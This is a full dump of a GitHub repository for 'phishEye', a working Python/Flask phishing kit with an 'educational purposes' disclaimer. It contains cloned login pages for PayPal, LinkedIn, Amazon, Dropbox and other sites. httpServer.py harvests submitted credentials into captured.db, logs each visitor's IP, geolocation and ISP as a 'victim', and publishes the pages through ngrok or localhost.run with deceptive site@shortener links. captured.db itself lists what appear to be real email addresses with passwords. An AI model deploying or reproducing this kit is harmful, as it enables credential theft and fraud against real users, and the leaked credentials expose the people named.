├── .gitignore ├── img ├── logo.png ├── Preview.gif └── Preview_v1.3.gif ├── requirements.txt ├── .github └── ISSUE_TEMPLATE │ ├── feature_request.md │ └── bug_report.md ├── captured.db ├── LICENSE ├── server ├── banner.py ├── templates │ └── index.html └── httpServer.py ├── site ├── mob │ ├── twitter │ │ └── index.html │ ├── paypal │ │ └── index.html │ ├── linkedin │ │ └── index.html │ ├── amazon │ │ └── index.html │ ├── dropbox │ │ └── index.html │ └── deviantart │ │ └── index.html └── pc │ ├── paypal │ └── index.html │ ├── linkedin │ └── index.html │ ├── messenger │ └── index.html │ ├── amazon │ └── index.html │ ├── deviantart │ └── index.html │ ├── dropbox │ └── index.html │ └── github │ └── index.html ├── Readme.md └── phishEye.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ -------------------------------------------------------------------------------- /img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sky9262/phishEye/HEAD/img/logo.png -------------------------------------------------------------------------------- /img/Preview.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sky9262/phishEye/HEAD/img/Preview.gif -------------------------------------------------------------------------------- /img/Preview_v1.3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sky9262/phishEye/HEAD/img/Preview_v1.3.gif -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | click==8.0.3 2 | colorama==0.4.4 3 | Flask==2.0.2 4 | itsdangerous==2.0.1 5 | Jinja2==3.0.2 6 | MarkupSafe==2.0.1 7 | pyngrok==5.1.0 8 | PyYAML==6.0 9 | waitress==2.0.0 10 | Werkzeug==2.0.2 11 | requests==2.26.0 12 | urllib3==1.26.7 13 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | -------------------------------------------------------------------------------- /captured.db: -------------------------------------------------------------------------------- 1 | 2 | facebook.com| ID : akash002.pat@gmail.com | Password: 789788544 3 | ------------------------------------------------------------------------------------------------------- 4 | paypal.com| ID : akash002.pat@gmail.com | Password: fgdgfgfgfd 5 | ------------------------------------------------------------------------------------------------------- 6 | paypal.com| ID : ashri55@gmail.com | Password: dew2345fdd 7 | ------------------------------------------------------------------------------------------------------- 8 | dropbox.com| ID : alokok143@gmail.com | Password: ddsdfsdf 9 | ------------------------------------------------------------------------------------------------------- 10 | https://twitter.com| ID : akash2002.pat@gmail.com | Password: asdds213123123 11 | ------------------------------------------------------------------------------------------------------- 12 | twitter.com| ID : akash2002.pat@gmail.com | Password: asdsdasdsdsa 13 | ------------------------------------------------------------------------------------------------------- 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Akash Kumar 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /server/banner.py: -------------------------------------------------------------------------------- 1 | import os 2 | try: 3 | import colorama 4 | except: 5 | print("Some modules are not installed!!\nPlease wait. Installing.......") 6 | os.system('pip install colorama --quiet') 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | from colorama import Fore, Style 10 | import os 11 | import time 12 | 13 | 14 | 15 | def PrintBanner(): 16 | print(''' 17 | {red}██████╗ ██╗ ██╗██╗███████╗██╗ ██╗ ███████╗██╗ ██╗███████╗{reset} 18 | {yellow}██╔══██╗██║ ██║██║██╔════╝██║ ██║ ██╔════╝╚██╗ ██╔╝██╔════╝{reset} 19 | {bright}{yellow}██████╔╝███████║██║███████╗███████║ █████╗ ╚████╔╝ █████╗ {reset} 20 | {green}██╔═══╝ ██╔══██║██║╚════██║██╔══██║ ██╔══╝ ╚██╔╝ ██╔══╝ {reset} 21 | {blue}██║ ██║ ██║██║███████║██║ ██║ ███████╗ ██║ ███████╗{reset} 22 | {pink}╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝{reset} 23 | {bright}Version {green}{ver}\t\t\t\t\t\tBy: {yellow}sky9262{white} 24 | '''.format(ver=1.6, red=Fore.RED, yellow=Fore.YELLOW, green=Fore.GREEN, 25 | blue=Fore.BLUE, pink=Fore.MAGENTA, white=Fore.WHITE, reset=Style.RESET_ALL, bright=Style.BRIGHT)) 26 | 27 | time.sleep(2) 28 | 29 | # PrintBanner() 30 | -------------------------------------------------------------------------------- /server/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Login On Twitter 6 | 7 | 8 | 9 | 10 | 120 | 121 | 122 |
123 | 124 | 153 |
154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /site/mob/twitter/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Login On Twitter 6 | 7 | 8 | 9 | 10 | 120 | 121 | 122 |
123 | 124 | 153 |
154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 191 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | 2 | 3 |

4 | 5 |

6 | 7 |

8 | 9 |

10 | 11 | 12 | 13 |

14 | 15 |

A beginners friendly, Automated phishing tool

16 | 17 |

phishEye is a ultimate phishing tool in python. Includes popular websites like Facebook, Twitter, Instagram, LinkedIn, GitHub, Dropbox, and many others. Created with Flask and custom templates and tunneled with ngrok.

18 | 19 |

Disclaimer

20 | 21 | Any actions and or activities related to phishEye is solely your responsibility. The misuse of this toolkit can result in criminal charges brought against the persons in question. The contributors will not be held responsible in the event any criminal charges be brought against any individuals misusing this toolkit to break the law. 22 | 23 | This toolkit contains materials that can be potentially damaging or dangerous for social media. Refer to the laws in your province/country before accessing, using, or in any other way utilizing this in a wrong way. 24 | 25 | This Tool is made for educational purposes only. Do not attempt to violate the law with anything contained here. If this is your intention, then Get the hell out of here! 26 | 27 | It only demonstrates "how phishing works". You shall not misuse the information to gain unauthorized access to someone's social media. However, you may try out this at your own risk. 28 | 29 | ### Features 30 | 31 | - Latest and updated login pages. 32 | - Beginners friendly 33 | - Auto install all required modules 34 | - Multiple tunneling options 35 | - Localhost 36 | - Ngrok 37 | - Localhost.run 38 | - Phishing short url ( i.e.: https://m.facebook.com@is.gd/dyoOj9 ) 39 | - Victim information (like, IP,user-agent,continent,country,region name,city,district,zip code,latitude-longitude and ISP) 40 | 41 | ### Requirements 42 | 43 | **`phishEye`** requires the following programs to run properly - 44 | - `python3` 45 | - `pip3` 46 | 47 | ### Installation 48 | 49 | - Just, Clone this repository - 50 | ``` 51 | $ git clone https://www.github.com/sky9262/phishEye.git 52 | ``` 53 | 54 | - Change to the cloned directory - 55 | ``` 56 | $ cd phishEye 57 | ``` 58 | 59 | - Now run `phishEye.py` - 60 | ``` 61 | $ python3 phishEye.py 62 | ``` 63 | 64 | ### Install required modules if auto-install is not working 65 | - Install required modules to run `phishEye.py` - 66 | ``` 67 | $ pip3 install -r requirements.txt 68 | ``` 69 | 70 | 71 | ## Usage 72 | - By running `python3 phishEye.py`, you will be provided to choose options. 73 | - **OR** 74 | - You can run it in one line `python3 phishEye.py -s facebook -d pc -p 4444` 75 | - **Note:** Username/Password will be saved in captured.db 76 | 77 | ### Here `-s`, `-d` and `-p` are options : 78 | - `-s` --> site name (from available sites) **(Default: facebook)** 79 | - `-d` --> device (like, PC or MOBILE) **(Default: PC)** 80 | - `-p` --> port number **(Default: 4444)** 81 | 82 |

83 | :: Workflow :: 84 |

85 |

86 | test gif 87 |

88 | 89 | ## Available sites 90 |
91 | Click me to view sites
92 |
93 | PC 94 |
    95 | 96 | [1] Amazon 97 | 98 | [2] DeviantArt 99 | 100 | [3] Dropbox 101 | 102 | [4] eBay 103 | 104 | [5] Facebook 105 | 106 | [6] Github 107 | 108 | [7] GitLab 109 | 110 | [8] Google 111 | 112 | [9] Instagram 113 | 114 | [10] LinkedIn 115 | 116 | [11] Messenger 117 | 118 | [12] PayPal 119 | 120 | [13] Twitter 121 | 122 |
123 |
124 |
125 | MOBILE 126 |
    127 | 128 | [1] Amazon 129 | 130 | [2] DeviantArt 131 | 132 | [3] Dropbox 133 | 134 | [4] eBay 135 | 136 | [5] Facebook 137 | 138 | [6] Github 139 | 140 | [7] GitLab 141 | 142 | [8] Google 143 | 144 | [9] Instagram 145 | 146 | [10] LinkedIn 147 | 148 | [11] PayPal 149 | 150 | [12] Twitter 151 | 152 |
153 |
154 |
155 | 156 | 157 |

158 | 159 |

160 | 161 | ### Thanks! Feel free to contribute. 162 | -------------------------------------------------------------------------------- /site/pc/paypal/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | International shopping made easy. This and more with PayPal 5 | 6 | 7 | 61 | 62 | 63 |
64 | 65 |
66 |
67 |
68 |
69 |
70 |

71 |
72 |
73 |
74 | 75 | 76 |
77 | 78 |
79 | 80 | 83 |
84 | 85 |
86 |
87 | 92 |
93 |
94 | 95 |
96 | 125 | 126 | 127 | -------------------------------------------------------------------------------- /site/mob/paypal/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | International shopping made easy. This and more with PayPal 5 | 6 | 7 | 61 | 62 | 63 |
64 | 65 |
66 |
67 |
68 |
69 |
70 |

71 |
72 |
73 |
74 | 75 | 76 |
77 | 78 |
79 | 80 | 83 |
84 | 85 |
86 |
87 | 92 |
93 |
94 | 95 |
96 | 126 | 127 | 128 | -------------------------------------------------------------------------------- /site/pc/linkedin/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 13 | LinkedIn Login Form Using HTML and CSS 14 | 15 | 16 | 17 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 |

Linked 31 | 32 |

33 |
34 |

Sign in

35 |

Stay updated on your professional world

36 |
37 |
38 |
39 | 41 | 42 |
43 |
44 | 46 | 49 |
50 | 51 | Forgot Password? 52 | 53 | 54 |
55 | 61 |
62 | 63 | 191 | 220 | 221 | -------------------------------------------------------------------------------- /site/mob/linkedin/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 12 | LinkedIn Login Form Using HTML and CSS 13 | 14 | 15 | 16 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 |

Linked 30 | 31 |

32 |
33 |

Sign in

34 |

Stay updated on your professional world

35 |
36 |
37 |
38 | 40 | 41 |
42 |
43 | 45 | 48 |
49 | 50 | Forgot Password? 51 | 52 | 53 |
54 | 60 |
61 | 62 | 190 | 220 | 221 | -------------------------------------------------------------------------------- /phishEye.py: -------------------------------------------------------------------------------- 1 | import sys, socket 2 | import subprocess 3 | import pkg_resources 4 | import getpass 5 | 6 | def is_connected(): 7 | try: 8 | host = socket.gethostbyname("1.1.1.1") 9 | s = socket.create_connection((host, 80), 2) 10 | s.close() 11 | return True 12 | except: 13 | pass 14 | return False 15 | 16 | 17 | if is_connected(): 18 | requirements = set() 19 | 20 | with open("requirements.txt") as f: 21 | for line in f: 22 | requirements.add(line.replace("\n", "")) 23 | 24 | installed = {pkg.key for pkg in pkg_resources.working_set} 25 | missing = requirements - installed 26 | 27 | if missing: 28 | print( 29 | "Checking for required modules.\nIt'll install automatically if any modules are not installed..." 30 | ) 31 | python = sys.executable 32 | subprocess.check_call( 33 | [python, "-m", "pip", "install", *missing], stdout=subprocess.DEVNULL 34 | ) 35 | else: 36 | print( 37 | "Some modules are not installed.\nPlease install from requirements.txt or connect with internet to auto install." 38 | ) 39 | 40 | try: 41 | import os, shutil, argparse, sys, itertools 42 | from multiprocessing import Process 43 | sys.path.append("./server/") 44 | from banner import * 45 | 46 | os.system("cls" if os.name == "nt" else "clear") 47 | 48 | def pre_site(): 49 | if not os.path.isdir("./server/templates"): 50 | os.mkdir("./server/templates") 51 | else: 52 | shutil.rmtree("./server/templates/") 53 | 54 | def SitePath(): 55 | return "./site/mob/" if device != "pc" else "./site/pc/" 56 | 57 | def copy(site): 58 | try: 59 | shutil.copytree( 60 | f"{SitePath()}{site}", "./server/templates/", dirs_exist_ok=True 61 | ) 62 | except: 63 | print("Site page not found!!") 64 | 65 | def sites(type): 66 | _site = [] 67 | for i in [f.path for f in os.scandir(f"./site/{type}/") if f.is_dir()]: 68 | _site.append(i.replace(f"./site/{type}/", "")) 69 | return str(_site).replace("[", "").replace("]", "").replace("'", "") 70 | 71 | if __name__ == "__main__": 72 | # Getting arguments 73 | parser = argparse.ArgumentParser( 74 | description=f"Available Sites for mobile :- {sites('mob')} \n | Available Sites for desktop :- {sites('pc')} ", 75 | usage="%(prog)s [options]", 76 | ) 77 | 78 | parser.add_argument( 79 | "-s", 80 | metavar="Site name", 81 | default="facebook", 82 | type=str, 83 | help=" facebook / linkedin /... | default = facebook", 84 | ) 85 | parser.add_argument( 86 | "-p", metavar="Port number", default=4444, type=int, help=" default = 4444" 87 | ) 88 | parser.add_argument( 89 | "-d", 90 | metavar="Device name", 91 | default="pc", 92 | type=str, 93 | help=" pc / mob | default = pc", 94 | ) 95 | 96 | # assigning values according to aruments 97 | args = parser.parse_args() 98 | 99 | site = args.s 100 | port = args.p 101 | device = args.d 102 | if len(sys.argv) > 1: 103 | # Copy webpage to server 104 | pre_site() 105 | copy(site) 106 | 107 | # Running server 108 | os.system(f"python3 ./server/httpServer.py -p {port}") 109 | else: 110 | device = "pc" 111 | site = "facebook" 112 | port = 4444 113 | PrintBanner() 114 | 115 | # Choosing device name 116 | try: 117 | print("Please choose device (default = PC):\n[1] PC \n[2] MOBILE") 118 | _device = int(input("\nEnter here :")) 119 | if _device is not None: 120 | if _device == 1: 121 | device = "pc" 122 | elif _device == 2: 123 | device = "mob" 124 | else: 125 | print( 126 | "Opps!!! You entred wrong key.\nI am taking default value" 127 | ) 128 | except KeyboardInterrupt: 129 | sys.exit("\n\nThanks to try my phishEye.\nByeeeeeee......") 130 | except: 131 | pass 132 | # Choosing site name 133 | try: 134 | print("\n\nPlease choose website name (default = facebook):") 135 | _site = sites(device).split(", ") 136 | for i in range(len(_site)): 137 | print(f"[{i+1}] {_site[i]}") 138 | _siteInpt = int(input("\nEnter here :")) 139 | if _site is not None and _siteInpt <= len(_site): 140 | site = _site[_siteInpt - 1] 141 | else: 142 | print("Opps!!! You entred wrong key.\nI am taking default value") 143 | except KeyboardInterrupt: 144 | sys.exit("\n\nThanks to try my phishEye.\nByeeeeeee......") 145 | except: 146 | pass 147 | # Choosing port number 148 | try: 149 | _port = int(input("\n\nPlease enter port number (default = 4444): ")) 150 | if _port is not None: 151 | port = _port 152 | except KeyboardInterrupt: 153 | sys.exit("\n\nThanks to try my phishEye.\nByeeeeeee......") 154 | except: 155 | pass 156 | 157 | 158 | def ngrok_auth(): 159 | if os.name == 'posix': 160 | return os.path.isfile('/home/'+getpass.getuser()+'/.ngrok2/ngrok.yml') 161 | else: 162 | return os.path.isfile('C:\\Users\\'+getpass.getuser()+'\\.ngrok2\\ngrok.yml') 163 | 164 | # Choosing tunnel option 165 | try: 166 | tunnel = int(input("\n\nPlease any tunnel service: \n[1] Ngrok\n[2] Localhost.run\n\nEnter here: ")) 167 | if tunnel == 1: 168 | os.remove("./localhost.run") 169 | if not (ngrok_auth()): 170 | token = input("Enter your auth-token: ") 171 | if token: 172 | ngrok.set_auth_token(token) 173 | else: 174 | sys.exit("\nEnter your ngrok auth-token") 175 | elif tunnel == 2: 176 | def l_run(): 177 | cmd = os.popen(f'ssh -o StrictHostKeyChecking=accept-new -o LogLevel=error -R 80:localhost:{port} nokey@localhost.run').readline 178 | for line in iter(cmd, ''): 179 | with open("localhost.run","a") as f: 180 | f.write(line) 181 | Process(target=l_run).start() 182 | 183 | else: 184 | sys.exit("\nPlease choose a valid number.") 185 | except KeyboardInterrupt: 186 | sys.exit("\n\nThanks to try my phishEye.\nByeeeeeee......") 187 | except: 188 | pass 189 | print("\n\nPlease wait.....") 190 | 191 | # Copy webpage to server 192 | pre_site() 193 | copy(site) 194 | 195 | # Running server 196 | os.system(f"python3 ./server/httpServer.py -p {port}") 197 | 198 | except KeyboardInterrupt: 199 | print("\n\nThanks to try my phishEye.\nByeeeeeee......") 200 | -------------------------------------------------------------------------------- /server/httpServer.py: -------------------------------------------------------------------------------- 1 | try: 2 | # importing Flask and other modules 3 | from flask import Flask, request, render_template, redirect 4 | import time 5 | from waitress import serve 6 | import os, socket, os.path, argparse, requests 7 | from banner import * 8 | 9 | os.system("cls" if os.name == "nt" else "clear") 10 | PrintBanner() 11 | 12 | def is_connected(): 13 | try: 14 | # connect to the host -- tells us if the host is actually 15 | # reachable 16 | socket.create_connection(("1.1.1.1", 53)) 17 | return True 18 | except OSError: 19 | pass 20 | return False 21 | 22 | # Flask constructor 23 | app = Flask(__name__) 24 | 25 | @app.errorhandler(404) 26 | 27 | # inbuilt function which takes error as parameter 28 | def not_found(e): 29 | return redirect("https://www.google.com") 30 | 31 | # A decorator used to tell the application 32 | # which URL is associated function 33 | victim_list = [] 34 | 35 | @app.route("/login", methods=["POST"]) 36 | def submit(): 37 | if request.method == "POST": 38 | # getting input with name = fname in HTML form 39 | email = request.form.get("email") 40 | # getting input with name = lname in HTML form 41 | password = request.form.get("pass") 42 | if os.path.exists("captured.db"): 43 | f = open("captured.db", "a") 44 | f.write( 45 | site.replace("https://www.", "") 46 | + "| ID : " 47 | + email 48 | + " " 49 | + " | Password: " 50 | + password 51 | + "\n-------------------------------------------------------------------------------------------------------\n" 52 | ) 53 | f.close() 54 | else: 55 | f = open("captured.db", "w") 56 | f.write( 57 | site.replace("https://www.", "") 58 | + "| ID : " 59 | + email 60 | + " " 61 | + " | Password: " 62 | + password 63 | + "\n-------------------------------------------------------------------------------------------------------\n" 64 | ) 65 | f.close() 66 | print( 67 | f"\r [ * ] Victim {len(victim_list)} account id:", 68 | email, 69 | "password:", 70 | password, 71 | ) 72 | print("\r [ + ] saved in captured.db") 73 | print("\r\n [ * ] Waiting for other victim to open the link...") 74 | return redirect(site) 75 | 76 | return render_template("index.html") 77 | 78 | @app.route("/", methods=["GET", "POST"]) 79 | def victimInfo(): 80 | if request.method == "POST": 81 | victim_data = request.json 82 | if victim_data["status"] == "fail": 83 | print("\r [ - ] An error occurred when retrieving victim data :-(") 84 | else: 85 | victim_list.append(victim_data["ip"]) 86 | print("\r\n [ * ] An victim found !") 87 | print(f"\r [ + ] Victim {len(victim_list)} IP: " + victim_data["ip"]) 88 | print( 89 | f"\r [ + ] Victim {len(victim_list)} user-agent: " 90 | + victim_data["useragent"] 91 | ) 92 | print( 93 | f"\r [ + ] Victim {len(victim_list)} continent: " 94 | + victim_data["continent_code"] 95 | ) 96 | print( 97 | f"\r [ + ] Victim {len(victim_list)} country: " 98 | + victim_data["country_name"] 99 | ) 100 | print( 101 | f"\r [ + ] Victim {len(victim_list)} region: " 102 | + victim_data["region"] 103 | ) 104 | print(f"\r [ + ] Victim {len(victim_list)} city: " + victim_data["city"]) 105 | print( 106 | f"\r [ + ] Victim {len(victim_list)} zip code: " 107 | + victim_data["postal"] 108 | ) 109 | print( 110 | f"\r [ + ] Victim {len(victim_list)} latitude and longitude:", 111 | victim_data["longitude"], 112 | ",", 113 | victim_data["latitude"], 114 | ) 115 | print(f"\r [ + ] Victim {len(victim_list)} ISP: " + victim_data["org"]) 116 | print(f"\r\n [ * ] Waiting for credentials...") 117 | return render_template("index.html") 118 | 119 | def is_connected(): 120 | try: 121 | host = socket.gethostbyname("1.1.1.1") 122 | s = socket.create_connection((host, 80), 2) 123 | s.close() 124 | return True 125 | except: 126 | pass 127 | return False 128 | 129 | def short(url, alias, ex=""): 130 | try: 131 | reqUrl = "https://yb.gd/short" 132 | 133 | headersList = { 134 | "Content-Type": "application/json", 135 | "Content-Type": "application/json", 136 | } 137 | 138 | payload = '{"longURL":"' + url + '"}' 139 | 140 | response = requests.request( 141 | "POST", reqUrl, data=payload, headers=headersList 142 | ) 143 | 144 | r = response.text.split('":"')[1].replace('"', "").replace("}", "") 145 | print( 146 | f"{ex} [ * ] Phishing short link: " 147 | + alias 148 | + "@" 149 | + r.replace("\n", "").replace("https://", "") 150 | ) 151 | except: 152 | if is_connected(): 153 | print( 154 | "\r [ ! ] Short url error!!!\n [ ! ] Please make an issue on github (https://github.com/sky9262/phishEye)" 155 | ) 156 | else: 157 | print("You don't have internet connection for short url!!!") 158 | 159 | def start_ngrok(port): 160 | from pyngrok import ngrok 161 | 162 | url = ngrok.connect(port, bind_tls=True).public_url 163 | print(" [ * ] Ngrok public address: ", url) 164 | short(url, site) 165 | print("\r\n============================ Ready To Go ============================") 166 | print("\r\n [ * ] Waiting victim to open the link...") 167 | 168 | if __name__ == "__main__": 169 | parser = argparse.ArgumentParser() 170 | 171 | parser.add_argument("-p", "--port", default=4444, help="Port number") 172 | 173 | args = parser.parse_args() 174 | 175 | PORT = args.port 176 | global site 177 | with open("./server/templates/index.html") as f: 178 | first_line = f.readline() 179 | site = first_line.replace("", "").replace("\n", "") 180 | 181 | app.debug = False 182 | print(" [ * ] Phishiing to:", site) 183 | print( 184 | "\r [ * ] Local address:", 185 | "http://" + socket.gethostbyname(socket.gethostname()) + ":" + PORT, 186 | ) 187 | if not (os.path.isfile("./localhost.run")): 188 | ngrok = start_ngrok(PORT) 189 | else: 190 | time.sleep(1) 191 | url = "" 192 | with open("./localhost.run","r") as f: 193 | _url = f.read().split("\n")[-2] 194 | url = _url.split(",")[1].replace("\n","") 195 | print("\r [ * ] Localhost.run public address:", url) 196 | short(url, site, ex="\r") 197 | print("\r\n============================ Ready To Go ============================") 198 | print("\r\n [ * ] Waiting victim to open the link...") 199 | serve(app, host="0.0.0.0", port=PORT, _quiet=True) 200 | 201 | except KeyboardInterrupt: 202 | pass 203 | -------------------------------------------------------------------------------- /site/pc/messenger/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Messenger 4 | 5 | 8 | 142 |
143 |
144 |
145 |
146 |




147 |
149 | 150 |
151 |

153 | Messenger

154 |

156 | Instantly connect with people in your life.

157 |
159 | Sign in with Facebook to get started.
160 |
161 |
162 |
163 |
164 |
165 | 166 | 167 | 168 | 169 |


170 |
171 |
172 |

175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
Not on Facebook?|Forgotten password|Data 187 | Policy|Terms|Cookies Policy| © Facebook 2021
190 |
191 | 192 | 193 |
194 | 223 | -------------------------------------------------------------------------------- /site/mob/amazon/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 8 | 9 | 10 | 11 | Amazon Sign In 12 | 13 | 14 | 15 | 16 |
17 |
18 | 23 |
24 |
25 |
26 |
27 | 39 |
40 |
41 |
42 |
43 |
44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 |
60 |
61 |
62 |

63 | Sign in 64 |

65 | 66 |
67 | 70 | 71 |
72 |
73 | 74 |
75 | Enter your email or mobile phone number 76 |
77 |
78 |
79 |
80 | 81 |
82 |
83 |
84 | 87 |
88 | 93 |
94 | 95 |
96 |
97 | 98 |
99 | Enter your password 100 |
101 |
102 |
103 |
104 |
105 | 108 |
109 |
110 | 121 |
122 |
123 |
124 | 129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 | 157 |
158 |
159 |
160 | 161 | 164 |
165 |
166 | 167 | 197 | -------------------------------------------------------------------------------- /site/pc/amazon/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 8 | 9 | 10 | 11 | Amazon Sign In 12 | 13 | 14 | 15 | 16 |
17 |
18 |
19 | 20 | 21 | 22 |
23 |
24 |
25 |
26 |
27 | 39 |
40 |
41 |
42 |
43 |
44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 |
60 |
61 |
62 |

63 | Sign in 64 |

65 | 66 |
67 | 70 | 71 |
72 |
73 | 74 |
75 | Enter your email or mobile phone number 76 |
77 |
78 |
79 |
80 | 81 |
82 |
83 |
84 | 87 |
88 | 93 |
94 | 95 |
96 |
97 | 98 |
99 | Enter your password 100 |
101 |
102 |
103 |
104 |
105 | 108 |
109 |
110 | 121 |
122 |
123 |
124 | 129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 | 157 |
158 |
159 |
160 | 161 | 164 |
165 |
166 | 167 | 196 | -------------------------------------------------------------------------------- /site/mob/dropbox/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | Login - Dropbox 11 | 495 | 496 | 497 | 498 |
499 |
500 | 502 |

503 |
  
505 |

506 |
507 |
508 |



509 |
510 |
511 |
512 | 561 |
562 |
563 |
564 | 565 | 595 | 596 | -------------------------------------------------------------------------------- /site/pc/deviantart/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Log In | DeviantArt 8 | 9 | 10 | 12 | 13 | 14 | 16 | 17 | 19 | 20 | 21 | 22 | 23 | 25 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 35 | 37 | 39 | 41 | 43 | 45 | 47 | 49 | 51 | 52 | 53 | 54 | 55 | 56 | 58 | 60 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 71 | 73 | 74 | 76 | 77 | 78 | 79 | 93 | 95 | 108 | 109 | 110 | 127 | 128 | 129 | 130 | 131 |
132 |
133 |
136 | 138 | 139 | 142 | 143 | 145 | 146 | 147 |
148 |
149 |
150 |
151 |
152 |
153 |
156 | 158 | 159 | 162 | 163 | 165 | 166 | 167 |
168 |
169 |

Join the largest art community in the world

170 |

Explore and discover art, become a better artist, connect with others over mutual 171 | hobbies, or buy and sell work – you can do it all here.

172 |
173 |
174 |
175 |
182 |
183 |

Log In

184 |

Become a deviant. 185 | Join 186 |

187 |
188 |
192 |
193 |
194 |
196 |
197 |
198 |
199 |
200 |
201 |
203 |
204 |
205 |
213 | 216 |
217 |
218 |
By clicking Log In, I confirm that I have read and agree to the DeviantArt Terms of Service, Privacy Policy, and to receive emails and 221 | updates.
222 |
223 |
224 |
225 |
226 |
227 | 228 | 229 | 258 | 259 | -------------------------------------------------------------------------------- /site/pc/dropbox/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Login - Dropbox 10 | 494 | 495 | 496 | 497 |
498 |
499 | 506 |

507 |
  
509 |

510 |
511 |
512 |



513 |
514 |
515 |
516 | 565 |
566 |
567 | 614 |
